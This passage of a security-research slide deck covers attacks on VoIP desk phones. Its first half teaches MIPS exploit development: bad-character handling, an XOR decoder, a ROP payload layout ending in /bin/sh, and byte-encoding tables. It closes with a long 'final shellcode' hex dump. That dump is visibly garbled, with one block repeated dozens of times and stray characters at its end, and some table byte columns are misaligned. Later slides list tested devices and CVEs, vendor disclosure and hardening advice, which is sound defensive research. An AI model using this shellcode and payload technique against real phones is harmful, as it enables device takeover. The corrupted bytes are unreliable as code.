\end{tabular}
\end{center}
Exploit Development, Challenges

- How to handle bad chars?

| 0x00, 0x09, 0x0a, 0x0d, 0x20, 0x23, 0x28, 0x29, 0x5b, 0x5d, 0x2f2f |
Exploit Development, Challenges

- How to handle bad chars?
  
  0x00, 0x09, 0x0a, 0x0d, 0x20, 0x23, 0x28, 0x29, 0x5b, 0x5d, 0x2f

- Write/use an encoder/encryption*:

```assembly
# Load decimal value 99999999 into register $s2
li $s1, 2576980377
la $s2, 1000($sp)     // Copy Stack Pointer Address + 1000 bytes into register $s2
addi $s2, $s2, -244   // Adjust Register $s2 (address location) by -244
lw $t2, -500($s2)     // Get value located at register $s2 - 500 bytes and store into $t2

# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 - 500) with new XORed value ($v1).
sw $v1, -500($s2)
```

Exploit Structure

- Payload structure:

<table>
<thead>
<tr>
<th>Padding</th>
<th>AAA...A</th>
<th>Gadget 1 address</th>
<th>Gadget 2 address</th>
<th>Decoder assembly</th>
<th>Shellcode assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>$a0 = $sp +32</td>
<td>$t9 = $a0</td>
<td>$xor with 99999999</td>
<td>Execute /bin/sh</td>
</tr>
</tbody>
</table>

modify code
Exploit Development, Another Challenges

Memory (Stack)
- ...
- addi $a0, $t7, -3
- addi $a1, $t7, -3
- ...

Instruction Cache
- ...
- addi $a0, $t7, -3
- addi $a1, $t7, -3
- ...

Data Cache
- ...
- addi $a0, $t7, 5
- addi $a1, $t7, 5
- ...

Processor Core
Exploit Development, Another Challenges

```
<table>
<thead>
<tr>
<th>Memory (Stack)</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
</tr>
<tr>
<td>addi $a0, $t7, -3</td>
</tr>
<tr>
<td>addi $a1, $t7, -3</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Data Cache</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
</tr>
<tr>
<td>addi $a0, $t7, 5</td>
</tr>
<tr>
<td>addi $a1, $t7, 5</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Instruction Cache</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
</tr>
<tr>
<td>addi $a0, $t7, -3</td>
</tr>
<tr>
<td>addi $a1, $t7, -3</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>

Processor Core
```
Solving Caching Problem

- **Trigger cache flush:**
  - Call `sleep` syscall to trigger cache flush
  - Find, call cache flush (`__clear_cache`) function

- **Build shellcode avoiding bad char:**
  - Use assembly instruction without 0 bytes and bad char bytes
  - Hardcoded encoded values, decode at runtime
MIPS Examples

- Set a parameter value (to zero):

<table>
<thead>
<tr>
<th>Semantic</th>
<th>Mnemonic</th>
<th>Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>$a0 = 2</td>
<td>li $a0, 2</td>
<td>\x24\x04\x00\x02</td>
</tr>
<tr>
<td>$t7 = 0 - 6 = -6</td>
<td>addiu $t7, $zero, -6</td>
<td>\x24\x0f\xff\xfa\x01</td>
</tr>
<tr>
<td>$t7 = not(-6) = 5</td>
<td>not $t7, $t7</td>
<td>\xe0\x78\x27\x21\xe4</td>
</tr>
<tr>
<td>$a0 = $t7 - 3 = 5 - 3 = 2</td>
<td>addi $a0, $t7, -3</td>
<td>\xff\xfd</td>
</tr>
</tbody>
</table>
Set a parameter value (to zero):

<table>
<thead>
<tr>
<th>Semantic</th>
<th>Mnemonic</th>
<th>Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>$a0 = 2</td>
<td>li $a0, 2</td>
<td>\x24\x04\x00\x02</td>
</tr>
<tr>
<td>$t7 = 0 - 6 = -6</td>
<td>addiu $t7, $zero, -6</td>
<td>\x24\x0f\xff\xfa\x01</td>
</tr>
<tr>
<td>$t7 = not(-6) = 5</td>
<td>not $t7, $t7</td>
<td>\xe0\x78\x27\x21\xe4</td>
</tr>
<tr>
<td>$a0 = \not{t7} - 3 = 5 - 3 = 2</td>
<td>addi $a0, $t7, -3</td>
<td>\xff\xfd</td>
</tr>
<tr>
<td>$a2 = 0</td>
<td>li $a2, 0</td>
<td>\x24\x04\x00\x00</td>
</tr>
<tr>
<td>$a2 = \not{t7} xor $t7 = 0</td>
<td>Xor $a2, $t7, $t7</td>
<td>\x01\xef\x30\x26</td>
</tr>
</tbody>
</table>
## MIPS Examples

- **Handle “strings” and critical chars:**

<table>
<thead>
<tr>
<th>Semantic</th>
<th>Mnemonic</th>
<th>Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>$t7 = //bi</td>
<td>lui $t7, 0x2f2f</td>
<td>\x3c\x0f\x2f\x2f\x35\xef\x62\x69</td>
</tr>
<tr>
<td></td>
<td>ori $t7, $t7, 0x6269</td>
<td></td>
</tr>
<tr>
<td>$t4 = 0xb6b6fbf0</td>
<td>li $t4, 0xb6b6fbf0</td>
<td>\x3c\x0c\xb6\xb6\x35</td>
</tr>
<tr>
<td>$t6 = 99999999</td>
<td>li $t6, 2576980377</td>
<td>\x8c\xfb\xf0\x3c\x0e</td>
</tr>
<tr>
<td>$t7 = $t4 xor $t6 = 0x2f2f6269 = //bi</td>
<td>xor $t7, $t4, $t6</td>
<td>\x99\x99\x35\xce\x99</td>
</tr>
<tr>
<td></td>
<td></td>
<td>\x99\x01\x8e\x78\x26</td>
</tr>
</tbody>
</table>
Final Shellcode

Online Assembler and Disassembler

Online wrappers around the Keystone and Capstone projects.

Assembly – Big Endian

\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfdf\xe0\x5f\xff\xf0\x01\xef\x30\x26\x24\x02\x10\x57\x01\x01\x00\x0c\xfa\x2f\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\xff\xe0\x78\x27\x21\xe5\xff\xff\xff\xff\渥.contract

Assembly - Little Endian

Assembly - Big Endian
## Device Overview

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Device</th>
<th>FW</th>
<th>Finding</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alcatel-Lucent</td>
<td>8008 CE</td>
<td>1.50.03</td>
<td>✔️</td>
<td>CVE-2019-14259</td>
</tr>
<tr>
<td>Akuvox</td>
<td>R50</td>
<td>50.0.6.156</td>
<td>✔️</td>
<td>CVE-2019-12324</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2019-12326</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2019-12327</td>
</tr>
<tr>
<td>Atcom</td>
<td>A11W</td>
<td>2.6.1a2421</td>
<td>✔️</td>
<td>CVE-2019-12328</td>
</tr>
<tr>
<td>AudioCodes</td>
<td>405HD</td>
<td>2.2.12</td>
<td>✔️</td>
<td>CVE-2018-16220</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2018-16219</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2018-16216</td>
</tr>
<tr>
<td>Auerswald</td>
<td>COMfortel 2600 IP</td>
<td>2.8D</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Auerswald</td>
<td>COMfortel 1200 IP</td>
<td>3.4.4.1</td>
<td>✔️</td>
<td>CVE-2018-19977</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2018-19978</td>
</tr>
<tr>
<td>Avaya</td>
<td>J100</td>
<td>4.0.1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cisco</td>
<td>CP-7821</td>
<td>11.1.2</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Digium</td>
<td>D65</td>
<td>2.7.2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Fanvil</td>
<td>X6</td>
<td>1.6.1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Gigaset</td>
<td>Maxwell Basic</td>
<td>2.22.7</td>
<td>✔️</td>
<td>CVE-2018-18871</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Device</th>
<th>FW</th>
<th>Finding</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Grandstream</td>
<td>DP750</td>
<td>1.0.3.37</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Htek</td>
<td>UC902</td>
<td>2.6.1a2421</td>
<td>✔️</td>
<td>CVE-2019-12325</td>
</tr>
<tr>
<td>Huawei</td>
<td>eSpace 7950</td>
<td>V200R003C</td>
<td>✔️</td>
<td>CVE-2018-7958</td>
</tr>
<tr>
<td></td>
<td></td>
<td>30SPCf00</td>
<td></td>
<td>CVE-2018-7959</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2018-7960</td>
</tr>
<tr>
<td>Innovaphone</td>
<td>IP222</td>
<td>V12r2sr16</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Mitel</td>
<td>6865i</td>
<td>5.0.0.1018</td>
<td>RIP</td>
<td></td>
</tr>
<tr>
<td>Obihai</td>
<td>6.3.1.0</td>
<td>5.1.11</td>
<td>✔️</td>
<td>CVE-2019-14260</td>
</tr>
<tr>
<td>Panasonic</td>
<td>KX-TGP600</td>
<td>06.001</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Polycom</td>
<td>VVX 301</td>
<td>5.8.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Samsung</td>
<td>SMT-i6010</td>
<td>1.62</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Univy</td>
<td>CP200</td>
<td>V1 R3.8.10</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Yealink</td>
<td>SIP-T41P</td>
<td>66.83.0.35</td>
<td>✔️</td>
<td>CVE-2018-16217</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2018-16218</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>CVE-2018-16221</td>
</tr>
</tbody>
</table>

[https://www.sit.fraunhofer.de/cve/](https://www.sit.fraunhofer.de/cve/)
# Vulnerability Overview

<table>
<thead>
<tr>
<th>Categories: Subjects:</th>
<th>backdoor</th>
<th>bad encryption</th>
<th>Buffer overflow</th>
<th>Command Injection</th>
<th>CSRF</th>
<th>DOS</th>
<th>information disclosure</th>
<th>password change no auth</th>
<th>path traversal</th>
<th>plaintext credentials</th>
<th>privilege escalation</th>
<th>short session id</th>
<th>Xss</th>
</tr>
</thead>
<tbody>
<tr>
<td>Akuvox</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Alcatel</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Atcom</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AudioCodes</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Auerswald</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>yealink</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Unify</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Htek</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Gigaset</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Obihai</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cisco</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Recommendations for Users/Admins

- Change default credentials
- Update your VoIP phone
- Disable servers (Web, SSH, Telnet, etc…) if possible and not needed
- Network protection measures for phones
- …
Recommendations for Developers

- Process separation and isolation
- Compile flags: ASLR, NX protection, Canaries, etc.
- No hardcoded keys, and/or self-made crypto
- No default credentials → enforce change at first start
- Convenient update mechanism
1992
Linux OS, multi user
Lessons Learned?

1992
Linux OS, **multi user**

1996
“Smashing The Stack
For Fun And Profit”
Lessons Learned?

1992
Linux OS, **multi user**

2000-2004
**NX** protection, **ASLR**

1996

“Smashing The Stack
For Fun And Profit”
Lessons Learned?

1992
Linux OS, **multi user**

2000-2004
NX protection, **ASLR**

1996
“Smashing The Stack For Fun And Profit”

2007
iPhone, all apps run as **root**
Lessons Learned?

1992
Linux OS, multi user

2000-2004
NX protection, ASLR

1996
“Smashing The Stack For Fun And Profit”

2007
iPhone, all apps run as root

2010/2011
iOS 4 / Android 4 ASLR
Lessons Learned?

1992 Linux OS, multi user
2000-2004 NX protection, ASLR

1996 “Smashing The Stack For Fun And Profit”
2007 iPhone, all apps run as root
2010/2011 iOS 4 / Android 4 ASLR

NOW Security in VoIP
Lessons Learned?

1992
Linux OS, **multi user**

2000-2004
**NX** protection, **ASLR**

2007
iPhone, all apps run as **root**

2010/2011
iOS 4 / Android 4 **ASLR**

NOW
Security in VoIP

"Smashing The Stack For Fun And Profit"
SOMETHING WENT WRONG
Responsible Disclosure

- Informed all vendors, 90 days to fix the bugs
- Reactions:
  - “Why investigating our poor phones”? 
  - “We bought phone from other vendor, we cannot fix it”
  - “It’s not supported anymore”
  - “…” – “We are going to publish” – “We will fix immediately”
- In the end, most vendors (2 did not react) fixed the vulnerabilities
Summary

- Investigated 33 VoIP phones
- Found 40 vulnerabilities and registered 16 CVEs

- A lot of old technology is out there, new models getting better
- Some vendors switch to Android, seems to be more robust but new types of vulnerabilities → Apps on your VoIP phone?

- We don’t know what will be next after IoT, but there will be a root process and memory corruption ;-)
Contact

**Stephan Huber**  
Email: stephan.huber@sit.fraunhofer.de

**Philipp Roskosch**  
Email: philipp.roskosch@sit.fraunhofer.de

Web: https://www.team-sik.org  
Email: contact@team-sik.org  
Findings: https://www.sit.fraunhofer.de/cve